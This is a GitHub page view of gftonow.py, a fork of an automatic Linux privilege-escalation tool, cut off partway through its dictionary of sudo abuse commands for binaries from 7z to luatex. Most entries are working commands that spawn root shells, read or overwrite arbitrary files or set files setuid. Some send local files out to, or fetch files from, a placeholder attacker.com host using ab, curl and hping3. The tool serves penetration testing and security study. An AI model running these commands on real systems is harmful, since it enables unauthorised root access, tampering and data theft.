forked from zycoder0day/toolsoxygencall
-
Notifications
You must be signed in to change notification settings - Fork 0
/
gftonow.py
4234 lines (4036 loc) · 122 KB
/
gftonow.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#! /usr/bin/env/python
# -*- coding: utf-8 -*-
# https://github.com/Frissi0n/GTFONow
# Automatic privilege escalation for misconfiguRED capabilities, sudo and suid binaries.
from __future__ import print_function
import subprocess
import getpass
import os
import argparse
import sys
import re
import stat
import grp
import pwd
import logging
import platform
import time
import select
# SUDO_BINS_START
sudo_bins = {
"7z": [
{
"code": "LFILE=file_to_read\nsudo 7z a -ttar -an -so $LFILE | 7z e -ttar -si -so\n"
}
],
"aa-exec": [
{
"code": "sudo aa-exec /bin/sh"
}
],
"ab": [
{
"code": "URL=http://attacker.com/\nLFILE=file_to_send\nsudo ab -p $LFILE $URL\n",
"description": "Upload local file via HTTP POST request."
}
],
"alpine": [
{
"code": "LFILE=file_to_read\nsudo alpine -F \"$LFILE\"\n"
}
],
"ansible-playbook": [
{
"code": "TF=$(mktemp)\necho '[{hosts: localhost, tasks: [shell: /bin/sh </dev/tty >/dev/tty 2>/dev/tty]}]' >$TF\nsudo ansible-playbook $TF\n"
}
],
"ansible-test": [
{
"code": "sudo ansible-test shell"
}
],
"aoss": [
{
"code": "sudo aoss /bin/sh"
}
],
"apache2ctl": [
{
"code": "LFILE=file_to_read\nsudo apache2ctl -c \"Include $LFILE\" -k stop\n"
}
],
"apt": [
{
"code": "sudo apt changelog apt\n!/bin/sh\n",
"description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply."
},
{
"code": "TF=$(mktemp)\necho 'Dpkg::Pre-Invoke {\"/bin/sh;false\"}' > $TF\nsudo apt install -c $TF sl\n",
"description": "For this to work the target package (e.g., `sl`) must not be installed."
},
{
"code": "sudo apt update -o APT::Update::Pre-Invoke::=/bin/sh",
"description": "When the shell exits the `update` command is actually executed."
}
],
"apt-get": [
{
"code": "sudo apt-get changelog apt\n!/bin/sh\n",
"description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply."
},
{
"code": "TF=$(mktemp)\necho 'Dpkg::Pre-Invoke {\"/bin/sh;false\"}' > $TF\nsudo apt-get install -c $TF sl\n",
"description": "For this to work the target package (e.g., `sl`) must not be installed."
},
{
"code": "sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh",
"description": "When the shell exits the `update` command is actually executed."
}
],
"ar": [
{
"code": "TF=$(mktemp -u)\nLFILE=file_to_read\nsudo ar r \"$TF\" \"$LFILE\"\ncat \"$TF\"\n"
}
],
"aria2c": [
{
"code": "COMMAND='id'\nTF=$(mktemp)\necho \"$COMMAND\" > $TF\nchmod +x $TF\nsudo aria2c --on-download-error=$TF http://x\n"
}
],
"arj": [
{
"code": "TF=$(mktemp -d)\nLFILE=file_to_write\nLDIR=where_to_write\necho DATA >\"$TF/$LFILE\"\narj a \"$TF/a\" \"$TF/$LFILE\"\nsudo arj e \"$TF/a\" $LDIR\n",
"description": "The archive can also be prepared offline then uploaded."
}
],
"arp": [
{
"code": "LFILE=file_to_read\nsudo arp -v -f \"$LFILE\"\n"
}
],
"as": [
{
"code": "LFILE=file_to_read\nsudo as @$LFILE\n"
}
],
"ascii-xfr": [
{
"code": "LFILE=file_to_read\nsudo ascii-xfr -ns \"$LFILE\"\n"
}
],
"ascii85": [
{
"code": "LFILE=file_to_read\nsudo ascii85 \"$LFILE\" | ascii85 --decode\n"
}
],
"ash": [
{
"code": "sudo ash"
}
],
"aspell": [
{
"code": "LFILE=file_to_read\nsudo aspell -c \"$LFILE\"\n"
}
],
"at": [
{
"code": "echo \"/bin/sh <$(tty) >$(tty) 2>$(tty)\" | sudo at now; tail -f /dev/null\n"
}
],
"atobm": [
{
"code": "LFILE=file_to_read\nsudo atobm $LFILE 2>&1 | awk -F \"'\" '{printf \"%s\", $2}'\n"
}
],
"awk": [
{
"code": "sudo awk 'BEGIN {system(\"/bin/sh\")}'"
}
],
"aws": [
{
"code": "sudo aws help\n!/bin/sh\n",
"description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply."
}
],
"base32": [
{
"code": "LFILE=file_to_read\nsudo base32 \"$LFILE\" | base32 --decode\n"
}
],
"base58": [
{
"code": "LFILE=file_to_read\nsudo base58 \"$LFILE\" | base58 --decode\n"
}
],
"base64": [
{
"code": "LFILE=file_to_read\nsudo base64 \"$LFILE\" | base64 --decode\n"
}
],
"basenc": [
{
"code": "LFILE=file_to_read\nsudo basenc --base64 $LFILE | basenc -d --base64\n"
}
],
"basez": [
{
"code": "LFILE=file_to_read\nsudo basez \"$LFILE\" | basez --decode\n"
}
],
"bash": [
{
"code": "sudo bash"
}
],
"batcat": [
{
"code": "sudo batcat --paging always /etc/profile\n!/bin/sh\n"
}
],
"bc": [
{
"code": "LFILE=file_to_read\nsudo bc -s $LFILE\nquit\n"
}
],
"bconsole": [
{
"code": "sudo bconsole\n@exec /bin/sh\n"
}
],
"bpftrace": [
{
"code": "sudo bpftrace -e 'BEGIN {system(\"/bin/sh\");exit()}'"
},
{
"code": "TF=$(mktemp)\necho 'BEGIN {system(\"/bin/sh\");exit()}' >$TF\nsudo bpftrace $TF\n"
},
{
"code": "sudo bpftrace -c /bin/sh -e 'END {exit()}'"
}
],
"bridge": [
{
"code": "LFILE=file_to_read\nsudo bridge -b \"$LFILE\"\n"
}
],
"bundle": [
{
"code": "sudo bundle help\n!/bin/sh\n",
"description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply."
}
],
"bundler": [
{
"code": "sudo bundler help\n!/bin/sh\n",
"description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply."
}
],
"busctl": [
{
"code": "sudo busctl set-property org.freedesktop.systemd1 /org/freedesktop/systemd1 org.freedesktop.systemd1.Manager LogLevel s debug --address=unixexec:path=/bin/sh,argv1=-c,argv2='/bin/sh -i 0<&2 1>&2'\n"
}
],
"busybox": [
{
"code": "sudo busybox sh"
}
],
"byebug": [
{
"code": "TF=$(mktemp)\necho 'system(\"/bin/sh\")' > $TF\nsudo byebug $TF\ncontinue\n"
}
],
"bzip2": [
{
"code": "LFILE=file_to_read\nsudo bzip2 -c $LFILE | bzip2 -d\n"
}
],
"c89": [
{
"code": "sudo c89 -wrapper /bin/sh,-s ."
}
],
"c99": [
{
"code": "sudo c99 -wrapper /bin/sh,-s ."
}
],
"cabal": [
{
"code": "sudo cabal exec -- /bin/sh"
}
],
"capsh": [
{
"code": "sudo capsh --"
}
],
"cat": [
{
"code": "LFILE=file_to_read\nsudo cat \"$LFILE\"\n"
}
],
"cdist": [
{
"code": "sudo cdist shell -s /bin/sh"
}
],
"certbot": [
{
"code": "TF=$(mktemp -d)\nsudo certbot certonly -n -d x --standalone --dry-run --agree-tos --email x --logs-dir $TF --work-dir $TF --config-dir $TF --pre-hook '/bin/sh 1>&0 2>&0'\n"
}
],
"check_by_ssh": [
{
"code": "sudo check_by_ssh -o \"ProxyCommand /bin/sh -i <$(tty) |& tee $(tty)\" -H localhost -C xx",
"description": "The shell will only last 10 seconds."
}
],
"check_cups": [
{
"code": "LFILE=file_to_read\nsudo check_cups --extra-opts=@$LFILE\n"
}
],
"check_log": [
{
"code": "LFILE=file_to_write\nINPUT=input_file\nsudo check_log -F $INPUT -O $LFILE\n"
}
],
"check_memory": [
{
"code": "LFILE=file_to_read\nsudo check_memory --extra-opts=@$LFILE\n"
}
],
"check_raid": [
{
"code": "LFILE=file_to_read\nsudo check_raid --extra-opts=@$LFILE\n"
}
],
"check_ssl_cert": [
{
"code": "COMMAND=id\nOUTPUT=output_file\nTF=$(mktemp)\necho \"$COMMAND | tee $OUTPUT\" > $TF\nchmod +x $TF\numask 022\ncheck_ssl_cert --curl-bin $TF -H example.net\ncat $OUTPUT\n",
"description": "The host example.net must return a certificate via TLS"
}
],
"check_statusfile": [
{
"code": "LFILE=file_to_read\nsudo check_statusfile $LFILE\n"
}
],
"chmod": [
{
"code": "LFILE=file_to_change\nsudo chmod 6777 $LFILE\n"
}
],
"choom": [
{
"code": "sudo choom -n 0 /bin/sh"
}
],
"chown": [
{
"code": "LFILE=file_to_change\nsudo chown $(id -un):$(id -gn) $LFILE\n"
}
],
"chroot": [
{
"code": "sudo chroot /\n"
}
],
"clamscan": [
{
"code": "LFILE=file_to_read\nTF=$(mktemp -d)\ntouch $TF/empty.yara\nsudo clamscan --no-summary -d $TF -f $LFILE 2>&1 | sed -nE 's/^(.*): No such file or directory$/\\1/p'\n"
}
],
"cmp": [
{
"code": "LFILE=file_to_read\nsudo cmp $LFILE /dev/zero -b -l\n"
}
],
"cobc": [
{
"code": "TF=$(mktemp -d)\necho 'CALL \"SYSTEM\" USING \"/bin/sh\".' > $TF/x\nsudo cobc -xFj --frelax-syntax-checks $TF/x\n"
}
],
"column": [
{
"code": "LFILE=file_to_read\nsudo column $LFILE\n"
}
],
"comm": [
{
"code": "LFILE=file_to_read\nsudo comm $LFILE /dev/null 2>/dev/null\n"
}
],
"composer": [
{
"code": "TF=$(mktemp -d)\necho '{\"scripts\":{\"x\":\"/bin/sh -i 0<&3 1>&3 2>&3\"}}' >$TF/composer.json\nsudo composer --working-dir=$TF run-script x\n"
}
],
"cowsay": [
{
"code": "TF=$(mktemp)\necho 'exec \"/bin/sh\";' >$TF\nsudo cowsay -f $TF x\n"
}
],
"cowthink": [
{
"code": "TF=$(mktemp)\necho 'exec \"/bin/sh\";' >$TF\nsudo cowthink -f $TF x\n"
}
],
"cp": [
{
"code": "LFILE=file_to_write\necho \"DATA\" | sudo cp /dev/stdin \"$LFILE\"\n"
},
{
"code": "LFILE=file_to_write\nTF=$(mktemp)\necho \"DATA\" > $TF\nsudo cp $TF $LFILE\n",
"description": "This can be used to copy and then read or write files from a restricted file systems or with elevated privileges. (The GNU version of `cp` has the `--parents` option that can be used to also create the directory hierarchy specified in the source path, to the destination folder.)"
},
{
"code": "sudo cp /bin/sh /bin/cp\nsudo cp\n",
"description": "This overrides `cp` itself with a shell (or any other executable) that is to be executed as root, useful in case a `sudo` rule allows to only run `cp` by path. Warning, this is a destructive action."
}
],
"cpan": [
{
"code": "sudo cpan\n! exec '/bin/bash'\n"
}
],
"cpio": [
{
"code": "echo '/bin/sh </dev/tty >/dev/tty' >localhost\nsudo cpio -o --rsh-command /bin/sh -F localhost:\n"
},
{
"code": "LFILE=file_to_read\nTF=$(mktemp -d)\necho \"$LFILE\" | sudo cpio -R $UID -dp $TF\ncat \"$TF/$LFILE\"\n",
"description": "The whole directory structure is copied to `$TF`."
},
{
"code": "LFILE=file_to_write\nLDIR=where_to_write\necho DATA >$LFILE\necho $LFILE | sudo cpio -R 0:0 -p $LDIR\n",
"description": "Copies `$LFILE` to the `$LDIR` directory."
}
],
"cpulimit": [
{
"code": "sudo cpulimit -l 100 -f /bin/sh"
}
],
"crash": [
{
"code": "sudo crash -h\n!sh\n",
"description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply."
}
],
"crontab": [
{
"code": "sudo crontab -e",
"description": "The commands are executed according to the crontab file edited via the `crontab` utility."
}
],
"csh": [
{
"code": "sudo csh"
}
],
"csplit": [
{
"code": "LFILE=file_to_read\ncsplit $LFILE 1\ncat xx01\n"
}
],
"csvtool": [
{
"code": "sudo csvtool call '/bin/sh;false' /etc/passwd"
}
],
"cupsfilter": [
{
"code": "LFILE=file_to_read\nsudo cupsfilter -i application/octet-stream -m application/octet-stream $LFILE\n"
}
],
"curl": [
{
"code": "URL=http://attacker.com/file_to_get\nLFILE=file_to_save\nsudo curl $URL -o $LFILE\n",
"description": "Fetch a remote file via HTTP GET request."
}
],
"cut": [
{
"code": "LFILE=file_to_read\nsudo cut -d \"\" -f1 \"$LFILE\"\n"
}
],
"dash": [
{
"code": "sudo dash"
}
],
"date": [
{
"code": "LFILE=file_to_read\nsudo date -f $LFILE\n"
}
],
"dc": [
{
"code": "sudo dc -e '!/bin/sh'"
}
],
"dd": [
{
"code": "LFILE=file_to_write\necho \"data\" | sudo dd of=$LFILE\n"
}
],
"debugfs": [
{
"code": "sudo debugfs\n!/bin/sh\n"
}
],
"dialog": [
{
"code": "LFILE=file_to_read\nsudo dialog --textbox \"$LFILE\" 0 0\n"
}
],
"diff": [
{
"code": "LFILE=file_to_read\nsudo diff --line-format=%L /dev/null $LFILE\n"
}
],
"dig": [
{
"code": "LFILE=file_to_read\nsudo dig -f $LFILE\n"
}
],
"distcc": [
{
"code": "sudo distcc /bin/sh"
}
],
"dmesg": [
{
"code": "sudo dmesg -H\n!/bin/sh\n",
"description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply."
}
],
"dmidecode": [
{
"code": "LFILE=file_to_write\nsudo dmidecode --no-sysfs -d x.dmi --dump-bin \"$LFILE\"\n",
"description": "It can be used to overwrite files using a specially crafted SMBIOS file that can be read as a memory device by dmidecode.\nGenerate the file with [dmiwrite](https://github.com/adamreiser/dmiwrite) and upload it to the target.\n\n- `--dump-bin`, will cause dmidecode to write the payload to the destination specified, prepended with 32 null bytes.\n\n- `--no-sysfs`, if the target system is using an older version of dmidecode, you may need to omit the option.\n\n```\nmake dmiwrite\nTF=$(mktemp)\necho \"DATA\" > $TF\n./dmiwrite $TF x.dmi\n```\n"
}
],
"dmsetup": [
{
"code": "sudo dmsetup create base <<EOF\n0 3534848 linear /dev/loop0 94208\nEOF\nsudo dmsetup ls --exec '/bin/sh -s'\n"
}
],
"dnf": [
{
"code": "sudo dnf install -y x-1.0-1.noarch.rpm\n",
"description": "It runs commands using a specially crafted RPM package. Generate it with [fpm](https://github.com/jordansissel/fpm) and upload it to the target.\n```\nTF=$(mktemp -d)\necho 'id' > $TF/x.sh\nfpm -n x -s dir -t rpm -a all --before-install $TF/x.sh $TF\n```\n"
}
],
"docker": [
{
"code": "sudo docker run -v /:/mnt --rm -it alpine chroot /mnt sh",
"description": "The resulting is a root shell."
}
],
"dosbox": [
{
"code": "LFILE='\\path\\to\\file_to_write'\nsudo dosbox -c 'mount c /' -c \"echo DATA >c:$LFILE\" -c exit\n",
"description": "Note that the name of the written file in the following example will be `FILE_TO_`. Also note that `echo` terminates the string with a DOS-style line terminator (`\\r\\n`), if that's a problem and your scenario allows it, you can create the file outside `dosbox`, then use `copy` to do the actual write."
}
],
"dotnet": [
{
"code": "sudo dotnet fsi\nSystem.Diagnostics.Process.Start(\"/bin/sh\").WaitForExit();;\n"
}
],
"dpkg": [
{
"code": "sudo dpkg -l\n!/bin/sh\n",
"description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply."
},
{
"code": "sudo dpkg -i x_1.0_all.deb",
"description": "It runs an interactive shell using a specially crafted Debian package. Generate it with [fpm](https://github.com/jordansissel/fpm) and upload it to the target.\n```\nTF=$(mktemp -d)\necho 'exec /bin/sh' > $TF/x.sh\nfpm -n x -s dir -t deb -a all --before-install $TF/x.sh $TF\n```\n"
}
],
"dstat": [
{
"code": "echo 'import os; os.execv(\"/bin/sh\", [\"sh\"])' >/usr/local/share/dstat/dstat_xxx.py\nsudo dstat --xxx\n"
}
],
"dvips": [
{
"code": "tex '\\special{psfile=\"`/bin/sh 1>&0\"}\\end'\nsudo dvips -R0 texput.dvi\n"
}
],
"easy_install": [
{
"code": "TF=$(mktemp -d)\necho \"import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')\" > $TF/setup.py\nsudo easy_install $TF\n"
}
],
"eb": [
{
"code": "sudo eb logs\n!/bin/sh\n"
}
],
"ed": [
{
"code": "sudo ed\n!/bin/sh\n"
}
],
"efax": [
{
"code": "LFILE=file_to_read\nsudo efax -d \"$LFILE\"\n"
}
],
"elvish": [
{
"code": "sudo elvish"
}
],
"emacs": [
{
"code": "sudo emacs -Q -nw --eval '(term \"/bin/sh\")'"
}
],
"enscript": [
{
"code": "sudo enscript /dev/null -qo /dev/null -I '/bin/sh >&2'"
}
],
"env": [
{
"code": "sudo env /bin/sh"
}
],
"eqn": [
{
"code": "LFILE=file_to_read\nsudo eqn \"$LFILE\"\n"
}
],
"espeak": [
{
"code": "LFILE=file_to_read\nsudo espeak -qXf \"$LFILE\"\n"
}
],
"ex": [
{
"code": "sudo ex\n!/bin/sh\n"
}
],
"exiftool": [
{
"code": "LFILE=file_to_write\nINPUT=input_file\nsudo exiftool -filename=$LFILE $INPUT\n"
}
],
"expand": [
{
"code": "LFILE=file_to_read\nsudo expand \"$LFILE\"\n"
}
],
"expect": [
{
"code": "sudo expect -c 'spawn /bin/sh;interact'"
}
],
"facter": [
{
"code": "TF=$(mktemp -d)\necho 'exec(\"/bin/sh\")' > $TF/x.rb\nsudo FACTERLIB=$TF facter\n"
}
],
"file": [
{
"code": "LFILE=file_to_read\nsudo file -f $LFILE\n",
"description": "Each input line is treated as a filename for the `file` command and the output is corrupted by a suffix `:` followed by the result or the error of the operation, so this may not be suitable for binary files."
}
],
"find": [
{
"code": "sudo find . -exec /bin/sh \\; -quit"
}
],
"fish": [
{
"code": "sudo fish"
}
],
"flock": [
{
"code": "sudo flock -u / /bin/sh"
}
],
"fmt": [
{
"code": "LFILE=file_to_read\nsudo fmt -999 \"$LFILE\"\n",
"description": "This corrupts the output by wrapping very long lines at the given width."
}
],
"fold": [
{
"code": "LFILE=file_to_read\nsudo fold -w99999999 \"$LFILE\"\n"
}
],
"fping": [
{
"code": "LFILE=file_to_read\nsudo fping -f $LFILE\n"
}
],
"ftp": [
{
"code": "sudo ftp\n!/bin/sh\n"
}
],
"gawk": [
{
"code": "sudo gawk 'BEGIN {system(\"/bin/sh\")}'"
}
],
"gcc": [
{
"code": "sudo gcc -wrapper /bin/sh,-s ."
}
],
"gcloud": [
{
"code": "sudo gcloud help\n!/bin/sh\n",
"description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply."
}
],
"gcore": [
{
"code": "sudo gcore $PID"
}
],
"gdb": [
{
"code": "sudo gdb -nx -ex '!sh' -ex quit"
}
],
"gem": [
{
"code": "sudo gem open -e \"/bin/sh -c /bin/sh\" rdoc",
"description": "This requires the name of an installed gem to be provided (`rdoc` is usually installed)."
}
],
"genie": [
{
"code": "sudo genie -c '/bin/sh'"
}
],
"genisoimage": [
{
"code": "LFILE=file_to_read\nsudo genisoimage -q -o - \"$LFILE\"\n"
}
],
"ghc": [
{
"code": "sudo ghc -e 'System.Process.callCommand \"/bin/sh\"'"
}
],
"ghci": [
{
"code": "sudo ghci\nSystem.Process.callCommand \"/bin/sh\"\n"
}
],
"gimp": [
{
"code": "sudo gimp -idf --batch-interpreter=python-fu-eval -b 'import os; os.system(\"sh\")'"
}
],
"ginsh": [
{
"code": "sudo ginsh\n!/bin/sh\n"
}
],
"git": [
{
"code": "sudo PAGER='sh -c \"exec sh 0<&1\"' git -p help"
},
{
"code": "sudo git -p help config\n!/bin/sh\n",
"description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply."
},
{
"code": "sudo git branch --help config\n!/bin/sh\n",
"description": "The help system can also be reached from any `git` command, e.g., `git branch`. This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply."
},
{
"code": "TF=$(mktemp -d)\ngit init \"$TF\"\necho 'exec /bin/sh 0<&2 1>&2' >\"$TF/.git/hooks/pre-commit.sample\"\nmv \"$TF/.git/hooks/pre-commit.sample\" \"$TF/.git/hooks/pre-commit\"\nsudo git -C \"$TF\" commit --allow-empty -m x\n",
"description": "Git hooks are merely shell scripts and in the following example the hook associated to the `pre-commit` action is used. Any other hook will work, just make sure to be able perform the proper action to trigger it. An existing repository can also be used and moving into the directory works too, i.e., instead of using the `-C` option."
},
{
"code": "TF=$(mktemp -d)\nln -s /bin/sh \"$TF/git-x\"\nsudo git \"--exec-path=$TF\" x\n"
}
],
"grc": [
{
"code": "sudo grc --pty /bin/sh"
}
],
"grep": [
{
"code": "LFILE=file_to_read\nsudo grep '' $LFILE\n"
}
],
"gtester": [
{
"code": "TF=$(mktemp)\necho '#!/bin/sh' > $TF\necho 'exec /bin/sh 0<&1' >> $TF\nchmod +x $TF\nsudo gtester -q $TF\n"
}
],
"gzip": [
{
"code": "LFILE=file_to_read\nsudo gzip -f $LFILE -t\n"
}
],
"hd": [
{
"code": "LFILE=file_to_read\nsudo hd \"$LFILE\"\n"
}
],
"head": [
{
"code": "LFILE=file_to_read\nsudo head -c1G \"$LFILE\"\n"
}
],
"hexdump": [
{
"code": "LFILE=file_to_read\nsudo hexdump -C \"$LFILE\"\n"
}
],
"highlight": [
{
"code": "LFILE=file_to_read\nsudo highlight --no-doc --failsafe \"$LFILE\"\n"
}
],
"hping3": [
{
"code": "sudo hping3\n/bin/sh\n"
},
{
"code": "RHOST=attacker.com\nLFILE=file_to_read\nsudo hping3 \"$RHOST\" --icmp --data 500 --sign xxx --file \"$LFILE\"\n",
"description": "The file is continuously sent, adjust the `--count` parameter or kill the sender when done. Receive on the attacker box with:\n\n```\nsudo hping3 --icmp --listen xxx --dump\n```\n"
}
],
"iconv": [
{
"code": "LFILE=file_to_read\n./iconv -f 8859_1 -t 8859_1 \"$LFILE\"\n"
}
],
"iftop": [
{
"code": "sudo iftop\n!/bin/sh\n"
}
],
"install": [
{
"code": "LFILE=file_to_change\nTF=$(mktemp)\nsudo install -m 6777 $LFILE $TF\n"
}
],
"ionice": [
{
"code": "sudo ionice /bin/sh"
}
],
"ip": [
{
"code": "LFILE=file_to_read\nsudo ip -force -batch \"$LFILE\"\n"
},
{
"code": "sudo ip netns add foo\nsudo ip netns exec foo /bin/sh\nsudo ip netns delete foo\n",
"description": "This only works for Linux with CONFIG_NET_NS=y."
},
{
"code": "sudo ip netns add foo\nsudo ip netns exec foo /bin/ln -s /proc/1/ns/net /var/run/netns/bar\nsudo ip netns exec bar /bin/sh\nsudo ip netns delete foo\nsudo ip netns delete bar\n",
"description": "This only works for Linux with CONFIG_NET_NS=y. This version also grants network access."
}
],
"irb": [
{
"code": "sudo irb\nexec '/bin/bash'\n"
}
],
"ispell": [
{
"code": "sudo ispell /etc/passwd\n!/bin/sh\n"
}
],
"jjs": [
{
"code": "echo \"Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -c \\$@|sh _ echo sh <$(tty) >$(tty) 2>$(tty)').waitFor()\" | sudo jjs"
}
],
"joe": [
{
"code": "sudo joe\n^K!/bin/sh\n"
}
],
"join": [
{
"code": "LFILE=file_to_read\nsudo join -a 2 /dev/null $LFILE\n"
}
],
"journalctl": [
{
"code": "sudo journalctl\n!/bin/sh\n"
}
],
"jq": [
{
"code": "LFILE=file_to_read\nsudo jq -Rr . \"$LFILE\"\n"
}
],
"jrunscript": [
{
"code": "sudo jrunscript -e \"exec('/bin/sh -c \\$@|sh _ echo sh <$(tty) >$(tty) 2>$(tty)')\""
}
],
"jtag": [
{
"code": "sudo jtag --interactive\nshell /bin/sh\n"
}
],
"julia": [
{
"code": "sudo julia -e 'run(`/bin/sh`)'\n"
}
],
"knife": [
{
"code": "sudo knife exec -E 'exec \"/bin/sh\"'\n"
}
],
"ksh": [
{
"code": "sudo ksh"
}
],
"ksshell": [
{
"code": "LFILE=file_to_read\nsudo ksshell -i $LFILE\n"
}
],
"ksu": [
{
"code": "sudo ksu -q -e /bin/sh"
}
],
"kubectl": [
{
"code": "LFILE=dir_to_serve\nsudo kubectl proxy --address=0.0.0.0 --port=4444 --www=$LFILE --www-prefix=/x/\n"
}
],
"latex": [
{
"code": "sudo latex '\\documentclass{article}\\usepackage{verbatim}\\begin{document}\\verbatiminput{file_to_read}\\end{document}'\nstrings article.dvi\n",
"description": "The read file will be part of the output."
},
{
"code": "sudo latex --shell-escape '\\documentclass{article}\\begin{document}\\immediate\\write18{/bin/sh}\\end{document}'\n"
}
],
"latexmk": [
{
"code": "sudo latexmk -e 'exec \"/bin/sh\";'"
}
],
"ld.so": [
{
"code": "sudo /lib/ld.so /bin/sh"
}
],
"ldconfig": [
{
"code": "TF=$(mktemp -d)\necho \"$TF\" > \"$TF/conf\"\n# move malicious libraries in $TF\nsudo ldconfig -f \"$TF/conf\"\n",
"description": "This allows to override one or more shared libraries. Beware though that it is easy to *break* target and other binaries."
}
],
"less": [
{
"code": "sudo less /etc/profile\n!/bin/sh\n"
}
],
"lftp": [
{
"code": "sudo lftp -c '!/bin/sh'"
}
],
"links": [
{
"code": "LFILE=file_to_read\nsudo links \"$LFILE\"\n"
}
],
"ln": [
{
"code": "sudo ln -fs /bin/sh /bin/ln\nsudo ln\n"
}
],
"loginctl": [
{
"code": "sudo loginctl user-status\n!/bin/sh\n"
}
],
"logsave": [
{
"code": "sudo logsave /dev/null /bin/sh -i"
}
],
"look": [
{
"code": "LFILE=file_to_read\nsudo look '' \"$LFILE\"\n"
}
],
"ltrace": [
{
"code": "sudo ltrace -b -L /bin/sh"
}
],
"lua": [
{
"code": "sudo lua -e 'os.execute(\"/bin/sh\")'"
}
],
"lualatex": [
{
"code": "sudo lualatex -shell-escape '\\documentclass{article}\\begin{document}\\directlua{os.execute(\"/bin/sh\")}\\end{document}'"
}
],
"luatex": [
{